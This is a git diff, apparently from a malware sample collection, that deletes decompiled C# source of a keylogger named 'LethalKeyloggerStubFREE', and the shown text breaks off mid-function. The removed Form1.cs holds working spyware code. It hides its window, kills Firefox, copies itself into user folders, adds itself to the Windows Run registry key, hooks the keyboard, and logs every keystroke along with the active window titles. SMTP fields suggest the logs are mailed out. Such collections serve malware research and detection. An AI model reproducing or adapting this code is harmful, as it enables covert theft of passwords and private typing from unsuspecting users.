b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-8978a533113cb238230aa54274a793f958cac462d3c087972be36a1149c3ade9/My/Resources/Resources.cs deleted file mode 100644 index 028ce741..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-8978a533113cb238230aa54274a793f958cac462d3c087972be36a1149c3ade9/My/Resources/Resources.cs +++ /dev/null @@ -1,46 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: MicrosoftWindows.My.Resources.Resources -// Assembly: LethalKeyloggerStubFREE, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: CDA884B2-DDEA-4F9B-B77F-DA62A4B22D2E -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.cuw-8978a533113cb238230aa54274a793f958cac462d3c087972be36a1149c3ade9.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Globalization; -using System.Resources; -using System.Runtime.CompilerServices; - -namespace MicrosoftWindows.My.Resources -{ - [GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")] - [StandardModule] - [CompilerGenerated] - [DebuggerNonUserCode] - [HideModuleName] - internal sealed class Resources - { - private static ResourceManager resourceMan; - private static CultureInfo resourceCulture; - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static ResourceManager ResourceManager - { - get - { - if (object.ReferenceEquals((object) MicrosoftWindows.My.Resources.Resources.resourceMan, (object) null)) - MicrosoftWindows.My.Resources.Resources.resourceMan = new ResourceManager("MicrosoftWindows.Resources", typeof (MicrosoftWindows.My.Resources.Resources).Assembly); - return MicrosoftWindows.My.Resources.Resources.resourceMan; - } - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static CultureInfo Culture - { - get => MicrosoftWindows.My.Resources.Resources.resourceCulture; - set => MicrosoftWindows.My.Resources.Resources.resourceCulture = value; - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-8978a533113cb238230aa54274a793f958cac462d3c087972be36a1149c3ade9/Resources.resx b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-8978a533113cb238230aa54274a793f958cac462d3c087972be36a1149c3ade9/Resources.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-8978a533113cb238230aa54274a793f958cac462d3c087972be36a1149c3ade9/Resources.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-8978a533113cb238230aa54274a793f958cac462d3c087972be36a1149c3ade9/Trojan-Spy.MSIL.KeyLogger.cuw.csproj b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-8978a533113cb238230aa54274a793f958cac462d3c087972be36a1149c3ade9/Trojan-Spy.MSIL.KeyLogger.cuw.csproj deleted file mode 100644 index c8383d2d..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-8978a533113cb238230aa54274a793f958cac462d3c087972be36a1149c3ade9/Trojan-Spy.MSIL.KeyLogger.cuw.csproj +++ /dev/null @@ -1,53 +0,0 @@ - - - - - Debug - AnyCPU - {2BC026CE-235A-49BE-9575-643A9B62D104} - WinExe - LethalKeyloggerStubFREE - 1.0.0.0 - MicrosoftWindows - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-8978a533113cb238230aa54274a793f958cac462d3c087972be36a1149c3ade9/Trojan-Spy.MSIL.KeyLogger.cuw.sln b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-8978a533113cb238230aa54274a793f958cac462d3c087972be36a1149c3ade9/Trojan-Spy.MSIL.KeyLogger.cuw.sln deleted file mode 100644 index b6a8b2a0..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-8978a533113cb238230aa54274a793f958cac462d3c087972be36a1149c3ade9/Trojan-Spy.MSIL.KeyLogger.cuw.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "LethalKeyloggerStubFREE", "Trojan-Spy.MSIL.KeyLogger.cuw-8978a533113cb238230aa54274a793f958cac462d3c087972be36a1149c3ade9.csproj", "{2BC026CE-235A-49BE-9575-643A9B62D104}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {2BC026CE-235A-49BE-9575-643A9B62D104}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {2BC026CE-235A-49BE-9575-643A9B62D104}.Debug|Any CPU.Build.0 = Debug|Any CPU - {2BC026CE-235A-49BE-9575-643A9B62D104}.Release|Any CPU.ActiveCfg = Release|Any CPU - {2BC026CE-235A-49BE-9575-643A9B62D104}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-9bbebec2311ea30e56ce57731040a26049eb04e3106ab0ed0ee90bb99082623a/AssemblyInfo.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-9bbebec2311ea30e56ce57731040a26049eb04e3106ab0ed0ee90bb99082623a/AssemblyInfo.cs deleted file mode 100644 index 2b49f1a8..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-9bbebec2311ea30e56ce57731040a26049eb04e3106ab0ed0ee90bb99082623a/AssemblyInfo.cs +++ /dev/null @@ -1,13 +0,0 @@ -using System.Reflection; -using System.Runtime.InteropServices; - -[assembly: AssemblyDescription("")] -[assembly: AssemblyProduct("MicrosoftWindows")] -[assembly: AssemblyCompany("")] -[assembly: AssemblyTitle("MicrosoftWindows")] -[assembly: Guid("b95034f0-1151-4765-aa52-c79079cff4de")] -[assembly: AssemblyFileVersion("1.0.0.0")] -[assembly: ComVisible(false)] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyCopyright("Copyright © 2009")] -[assembly: AssemblyVersion("1.0.0.0")] diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-9bbebec2311ea30e56ce57731040a26049eb04e3106ab0ed0ee90bb99082623a/Form1.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-9bbebec2311ea30e56ce57731040a26049eb04e3106ab0ed0ee90bb99082623a/Form1.cs deleted file mode 100644 index 1fb03851..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.cuw-9bbebec2311ea30e56ce57731040a26049eb04e3106ab0ed0ee90bb99082623a/Form1.cs +++ /dev/null @@ -1,1440 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: MicrosoftWindows.Form1 -// Assembly: LethalKeyloggerStubFREE, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: CDA884B2-DDEA-4F9B-B77F-DA62A4B22D2E -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.cuw-9bbebec2311ea30e56ce57731040a26049eb04e3106ab0ed0ee90bb99082623a.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.Win32; -using MicrosoftWindows.My; -using System; -using System.ComponentModel; -using System.Diagnostics; -using System.Drawing; -using System.IO; -using System.Net; -using System.Net.Mail; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Text; -using System.Threading; -using System.Windows.Forms; - -namespace MicrosoftWindows -{ - [DesignerGenerated] - public class Form1 : Form - { - private IContainer components; - [AccessedThroughProperty("Timer1")] - private System.Windows.Forms.Timer _Timer1; - [AccessedThroughProperty("Timer2")] - private System.Windows.Forms.Timer _Timer2; - [AccessedThroughProperty("Timer3")] - private System.Windows.Forms.Timer _Timer3; - private TextBox innerz666; - private TextBox interz666; - private TextBox interx666; - private TextBox outerz666; - private TextBox outerx666; - private TextBox esendz666; - private TextBox esendx666; - private CheckBox checky666; - private CheckBox osname666; - private CheckBox osvers666; - private CheckBox emails666; - private CheckBox osuser666; - private TextBox osvers667; - private TextBox osname667; - private TextBox osuser667; - private TextBox smtphost; - private CheckBox startsadd; - private TextBox t2interval; - private Random irrelevant; - private string appname; - private string stub; - private string text1; - private string text2; - private string check1; - private string text3; - private string errorico; - private string text4; - private string check3; - private string check4; - private string check5; - private string check6; - private string check7; - private string check8; - private string text6; - private string combo1; - private string check9; - private string check10; - private string check11; - private string check12; - private string check13; - private string check14; - private string check15; - private string check18; - private string check19; - private string check20; - private string check21; - private string check22; - private string activewindow; - [AccessedThroughProperty("kbHook")] - private Form1.KeyboardHook _kbHook; - private bool shift; - private StreamWriter streamwriter; - - public Form1() - { - this.Load += new EventHandler(this.Form1_Load); - this.innerz666 = new TextBox(); - this.interz666 = new TextBox(); - this.interx666 = new TextBox(); - this.outerz666 = new TextBox(); - this.outerx666 = new TextBox(); - this.esendz666 = new TextBox(); - this.esendx666 = new TextBox(); - this.checky666 = new CheckBox(); - this.osname666 = new CheckBox(); - this.osvers666 = new CheckBox(); - this.emails666 = new CheckBox(); - this.osuser666 = new CheckBox(); - this.osvers667 = new TextBox(); - this.osname667 = new TextBox(); - this.osuser667 = new TextBox(); - this.smtphost = new TextBox(); - this.startsadd = new CheckBox(); - this.t2interval = new TextBox(); - this.irrelevant = new Random(); - this.appname = Path.GetFileName(Application.ExecutablePath); - this.kbHook = new Form1.KeyboardHook(); - this.InitializeComponent(); - } - - [DebuggerNonUserCode] - protected override void Dispose(bool disposing) - { - try - { - if (!disposing || this.components == null) - return; - this.components.Dispose(); - } - finally - { - base.Dispose(disposing); - } - } - - [DebuggerStepThrough] - private void InitializeComponent() - { - this.components = (IContainer) new System.ComponentModel.Container(); - this.Timer1 = new System.Windows.Forms.Timer(this.components); - this.Timer2 = new System.Windows.Forms.Timer(this.components); - this.Timer3 = new System.Windows.Forms.Timer(this.components); - this.SuspendLayout(); - this.AutoScaleDimensions = new SizeF(6f, 13f); - this.AutoScaleMode = AutoScaleMode.Font; - this.ClientSize = new Size(4, 0); - this.FormBorderStyle = FormBorderStyle.FixedToolWindow; - this.Name = nameof (Form1); - this.Text = "your mum"; - this.ResumeLayout(false); - } - - internal virtual System.Windows.Forms.Timer Timer1 - { - [DebuggerNonUserCode] get => this._Timer1; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.Timer1_Tick); - if (this._Timer1 != null) - this._Timer1.Tick -= eventHandler; - this._Timer1 = value; - if (this._Timer1 == null) - return; - this._Timer1.Tick += eventHandler; - } - } - - internal virtual System.Windows.Forms.Timer Timer2 - { - [DebuggerNonUserCode] get => this._Timer2; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.Timer2_Tick); - if (this._Timer2 != null) - this._Timer2.Tick -= eventHandler; - this._Timer2 = value; - if (this._Timer2 == null) - return; - this._Timer2.Tick += eventHandler; - } - } - - internal virtual System.Windows.Forms.Timer Timer3 - { - [DebuggerNonUserCode] get => this._Timer3; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.Timer3_Tick); - if (this._Timer3 != null) - this._Timer3.Tick -= eventHandler; - this._Timer3 = value; - if (this._Timer3 == null) - return; - this._Timer3.Tick += eventHandler; - } - } - - private void Form1_Load(object sender, EventArgs e) - { - string Delimiter = "keylogfreeforHF"; - try - { - FileSystem.FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared); - string Expression = Strings.Space(checked ((int) FileSystem.LOF(1))); - FileSystem.FileGet(1, ref Expression); - FileSystem.FileClose(1); - string[] strArray = Strings.Split(Expression, Delimiter); - this.interz666.Text = strArray[1]; - this.interx666.Text = strArray[2]; - if (Operators.CompareString(strArray[8], "errorOS", false) == 0) - { - this.checky666.Checked = true; - this.text3 = strArray[4]; - this.text4 = strArray[6]; - this.errorico = strArray[5]; - } - this.t2interval.Text = strArray[7]; - if (Operators.CompareString(strArray[9], "emailOS", false) == 0) - this.emails666.Checked = true; - if (Operators.CompareString(strArray[10], "getcomp", false) == 0) - this.osname666.Checked = true; - if (Operators.CompareString(strArray[13], "adding", false) == 0) - { - this.startsadd.Checked = true; - this.combo1 = strArray[15]; - } - this.text6 = strArray[14]; - this.check9 = strArray[16]; - this.check10 = strArray[17]; - this.check11 = strArray[18]; - this.check12 = strArray[19]; - this.check13 = strArray[20]; - this.check14 = strArray[21]; - this.check15 = strArray[22]; - this.check18 = strArray[23]; - this.check19 = strArray[24]; - this.check20 = strArray[25]; - this.check21 = strArray[26]; - this.check22 = strArray[27]; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - if (Process.GetProcessesByName(Path.GetFileNameWithoutExtension(Process.GetCurrentProcess().MainModule.ModuleName)).Length > 1) - Application.Exit(); - if (Operators.CompareString(this.check22, "Yes", false) == 0) - { - Process[] processes = Process.GetProcesses(); - int num = checked (processes.Length - 1); - int index = 0; - while (index <= num) - { - if (Operators.CompareString(Strings.UCase(processes[index].ProcessName), Strings.UCase("firefox"), false) == 0) - processes[index].Kill(); - checked { ++index; } - } - } - if (Operators.CompareString(this.check9, "Yes", false) == 0 | Operators.CompareString(this.check10, "Yes", false) == 0 | Operators.CompareString(this.check11, "Yes", false) == 0 | Operators.CompareString(this.check12, "Yes", false) == 0 | Operators.CompareString(this.check13, "Yes", false) == 0 | Operators.CompareString(this.check14, "Yes", false) == 0 | Operators.CompareString(this.check15, "Yes", false) == 0 | Operators.CompareString(this.check18, "Yes", false) == 0 | Operators.CompareString(this.check19, "Yes", false) == 0 | Operators.CompareString(this.check20, "Yes", false) == 0 | Operators.CompareString(this.check21, "Yes", false) == 0) - { - this.Timer3.Interval = 1000; - this.Timer3.Start(); - } - if (this.osuser666.Checked) - this.osuser667.Text = Environment.UserName; - if (this.osname666.Checked) - this.osname667.Text = Environment.MachineName; - if (MySettingsProperty.Settings.runonce) - { - MySettingsProperty.Settings.runonce = false; - if (this.checky666.Checked && Operators.CompareString(this.errorico, "msgexcl", false) == 0) - { - int num = (int) Interaction.MsgBox((object) this.text3, MsgBoxStyle.Exclamation, (object) this.text4); - } - if (this.startsadd.Checked) - { - try - { - string fileName = Path.GetFileName(Application.ExecutablePath); - if (Operators.CompareString(this.combo1, "applocal", false) == 0) - { - string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData); - MyProject.Computer.FileSystem.CopyFile(Application.ExecutablePath, folderPath + "\\" + fileName, true); - Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).SetValue(this.text6, (object) (folderPath + "\\" + fileName)); - } - else if (Operators.CompareString(this.combo1, "approaming", false) == 0) - { - string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData); - MyProject.Computer.FileSystem.CopyFile(Application.ExecutablePath, folderPath + "\\" + fileName, true); - Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).SetValue(this.text6, (object) (folderPath + "\\" + fileName)); - } - else if (Operators.CompareString(this.combo1, "cdrive", false) == 0) - { - string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.MyComputer); - MyProject.Computer.FileSystem.CopyFile(Application.ExecutablePath, folderPath + "\\" + fileName, true); - Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).SetValue(this.text6, (object) (folderPath + "\\" + fileName)); - } - else if (Operators.CompareString(this.combo1, "desktop", false) == 0) - { - string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory); - MyProject.Computer.FileSystem.CopyFile(Application.ExecutablePath, folderPath + "\\" + fileName, true); - Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).SetValue(this.text6, (object) (folderPath + "\\" + fileName)); - } - else if (Operators.CompareString(this.combo1, "docs", false) == 0) - { - string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.Personal); - MyProject.Computer.FileSystem.CopyFile(Application.ExecutablePath, folderPath + "\\" + fileName, true); - Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).SetValue(this.text6, (object) (folderPath + "\\" + fileName)); - } - else if (Operators.CompareString(this.combo1, "music", false) == 0) - { - string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.MyMusic); - MyProject.Computer.FileSystem.CopyFile(Application.ExecutablePath, folderPath + "\\" + fileName, true); - Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).SetValue(this.text6, (object) (folderPath + "\\" + fileName)); - } - else if (Operators.CompareString(this.combo1, "pics", false) == 0) - { - string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.MyPictures); - MyProject.Computer.FileSystem.CopyFile(Application.ExecutablePath, folderPath + "\\" + fileName, true); - Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).SetValue(this.text6, (object) (folderPath + "\\" + fileName)); - } - else if (Operators.CompareString(this.combo1, "progfiles", false) == 0) - { - string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles); - MyProject.Computer.FileSystem.CopyFile(Application.ExecutablePath, folderPath + "\\" + fileName, true); - Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).SetValue(this.text6, (object) (folderPath + "\\" + fileName)); - } - else if (Operators.CompareString(this.combo1, "start", false) == 0) - { - string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.StartMenu); - MyProject.Computer.FileSystem.CopyFile(Application.ExecutablePath, folderPath + "\\" + fileName, true); - Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).SetValue(this.text6, (object) (folderPath + "\\" + fileName)); - } - else if (Operators.CompareString(this.combo1, "system", false) == 0) - { - string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.System); - MyProject.Computer.FileSystem.CopyFile(Application.ExecutablePath, folderPath + "\\" + fileName, true); - Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).SetValue(this.text6, (object) (folderPath + "\\" + fileName)); - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - this.Timer1.Start(); - this.Timer2.Interval = checked ((int) Math.Round(unchecked (Conversions.ToDouble(this.t2interval.Text) * 60.0 * 1000.0))); - this.Timer2.Start(); - this.Visible = false; - this.Hide(); - this.ShowInTaskbar = false; - MySettingsProperty.Settings.Save(); - } - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetForegroundWindow(); - - [DllImport("USER32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetKeyState(long vKey); - - [DllImport("user32.dll", EntryPoint = "GetWindowTextA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetWindowText(int hwnd, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpString, int cch); - - private string GetActiveWindowTitle() - { - string lpString = new string(char.MinValue, 100); - Form1.GetWindowText(Form1.GetForegroundWindow(), ref lpString, 100); - return lpString.Substring(0, checked (Strings.InStr(lpString, "\0") - 1)); - } - - private virtual Form1.KeyboardHook kbHook - { - [DebuggerNonUserCode] get => this._kbHook; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set - { - Form1.KeyboardHook.KeyDownEventHandler downEventHandler = new Form1.KeyboardHook.KeyDownEventHandler(this.kbHook_KeyDown); - Form1.KeyboardHook.KeyUpEventHandler keyUpEventHandler = new Form1.KeyboardHook.KeyUpEventHandler(this.kbHook_KeyUp); - if (this._kbHook != null) - { - Form1.KeyboardHook.KeyDown -= downEventHandler; - Form1.KeyboardHook.KeyUp -= keyUpEventHandler; - } - this._kbHook = value; - if (this._kbHook == null) - return; - Form1.KeyboardHook.KeyDown += downEventHandler; - Form1.KeyboardHook.KeyUp += keyUpEventHandler; - } - } - - private void kbHook_KeyUp(Keys Key) - { - } - - private void kbHook_KeyDown(Keys Key) - { - if (!this.Timer1.Enabled) - return; - if (Form1.GetAsyncKeyState(16L) != 0) - this.shift = true; - if (Operators.CompareString(this.activewindow, this.GetActiveWindowTitle(), false) != 0) - { - this.activewindow = this.GetActiveWindowTitle(); - this.innerz666.Text = this.innerz666.Text + "\r\n\r\n" + this.activewindow + "\r\n\r\n"; - } - if (Key == Keys.A) - { - if (this.shift) - { - this.innerz666.Text += "A"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "a"; - } - } - else if (Key == Keys.B) - { - if (this.shift) - { - this.innerz666.Text += "B"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "b"; - } - } - else if (Key == Keys.C) - { - if (this.shift) - { - this.innerz666.Text += "C"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "c"; - } - } - else if (Key == Keys.D) - { - if (this.shift) - { - this.innerz666.Text += "D"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "d"; - } - } - else if (Key == Keys.E) - { - if (this.shift) - { - this.innerz666.Text += "E"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "e"; - } - } - else if (Key == Keys.F) - { - if (this.shift) - { - this.innerz666.Text += "F"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "f"; - } - } - else if (Key == Keys.G) - { - if (this.shift) - { - this.innerz666.Text += "G"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "g"; - } - } - else if (Key == Keys.H) - { - if (this.shift) - { - this.innerz666.Text += "H"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "h"; - } - } - else if (Key == Keys.I) - { - if (this.shift) - { - this.innerz666.Text += "I"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "i"; - } - } - else if (Key == Keys.J) - { - if (this.shift) - { - this.innerz666.Text += "J"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "j"; - } - } - else if (Key == Keys.K) - { - if (this.shift) - { - this.innerz666.Text += "K"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "k"; - } - } - else if (Key == Keys.L) - { - if (this.shift) - { - this.innerz666.Text += "L"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "l"; - } - } - else if (Key == Keys.M) - { - if (this.shift) - { - this.innerz666.Text += "M"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "m"; - } - } - else if (Key == Keys.N) - { - if (this.shift) - { - this.innerz666.Text += "N"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "n"; - } - } - else if (Key == Keys.O) - { - if (this.shift) - { - this.innerz666.Text += "O"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "o"; - } - } - else if (Key == Keys.P) - { - if (this.shift) - { - this.innerz666.Text += "P"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "p"; - } - } - else if (Key == Keys.Q) - { - if (this.shift) - { - this.innerz666.Text += "Q"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "q"; - } - } - else if (Key == Keys.R) - { - if (this.shift) - { - this.innerz666.Text += "R"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "r"; - } - } - else if (Key == Keys.S) - { - if (this.shift) - { - this.innerz666.Text += "S"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "s"; - } - } - else if (Key == Keys.T) - { - if (this.shift) - { - this.innerz666.Text += "T"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "t"; - } - } - else if (Key == Keys.U) - { - if (this.shift) - { - this.innerz666.Text += "U"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "u"; - } - } - else if (Key == Keys.V) - { - if (this.shift) - { - this.innerz666.Text += "V"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "v"; - } - } - else if (Key == Keys.W) - { - if (this.shift) - { - this.innerz666.Text += "W"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "w"; - } - } - else if (Key == Keys.X) - { - if (this.shift) - { - this.innerz666.Text += "X"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "x"; - } - } - else if (Key == Keys.Y) - { - if (this.shift) - { - this.innerz666.Text += "Y"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "y"; - } - } - else if (Key == Keys.Z) - { - if (this.shift) - { - this.innerz666.Text += "Z"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "z"; - } - } - else if (Key == Keys.D0) - { - if (this.shift) - { - this.innerz666.Text += ")"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "0"; - } - } - else if (Key == Keys.D1) - { - if (this.shift) - { - this.innerz666.Text += "!"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "1"; - } - } - else if (Key == Keys.D2) - { - if (this.shift) - { - this.innerz666.Text += "@"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "2"; - } - } - else if (Key == Keys.D3) - { - if (this.shift) - { - this.innerz666.Text += "#"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "3"; - } - } - else if (Key == Keys.D4) - { - if (this.shift) - { - this.innerz666.Text += "$"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "4"; - } - } - else if (Key == Keys.D5) - { - if (this.shift) - { - this.innerz666.Text += "%"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "5"; - } - } - else if (Key == Keys.D6) - { - if (this.shift) - { - this.innerz666.Text += "^"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "6"; - } - } - else if (Key == Keys.D7) - { - if (this.shift) - { - this.innerz666.Text += "&"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "7"; - } - } - else if (Key == Keys.D8) - { - if (this.shift) - { - this.innerz666.Text += "*"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "8"; - } - } - else if (Key == Keys.D9) - { - if (this.shift) - { - this.innerz666.Text += "9"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "("; - } - } - else if (Key == Keys.OemSemicolon) - { - if (this.shift) - { - this.innerz666.Text += ":"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += ";"; - } - } - else if (Key == Keys.OemPeriod) - { - if (this.shift) - { - this.innerz666.Text += ">"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "."; - } - } - else if (Key == Keys.OemQuotes) - { - if (this.shift) - { - this.innerz666.Text += "\""; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "'"; - } - } - else if (Key == Keys.OemOpenBrackets) - { - if (this.shift) - { - this.innerz666.Text += "{"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "["; - } - } - else if (Key == Keys.OemCloseBrackets) - { - if (this.shift) - { - this.innerz666.Text += "}"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "]"; - } - } - else if (Key == Keys.Oemcomma) - { - if (this.shift) - { - this.innerz666.Text += "<"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += ","; - } - } - else if (Key == Keys.OemMinus) - { - if (this.shift) - { - this.innerz666.Text += "_"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "-"; - } - } - else if (Key == Keys.Oemplus) - { - if (this.shift) - { - this.innerz666.Text += "+"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "="; - } - } - else if (Key == Keys.OemQuestion) - { - if (this.shift) - { - this.innerz666.Text += "?"; - this.shift = false; - } - else - { - if (this.shift) - return; - this.innerz666.Text += "/"; - } - } - else if (Key == Keys.OemPipe) - { - if (this.shift) - { - this.innerz666.Text += "|"; - this.shift = false; - } - else - { - if (this.shift) 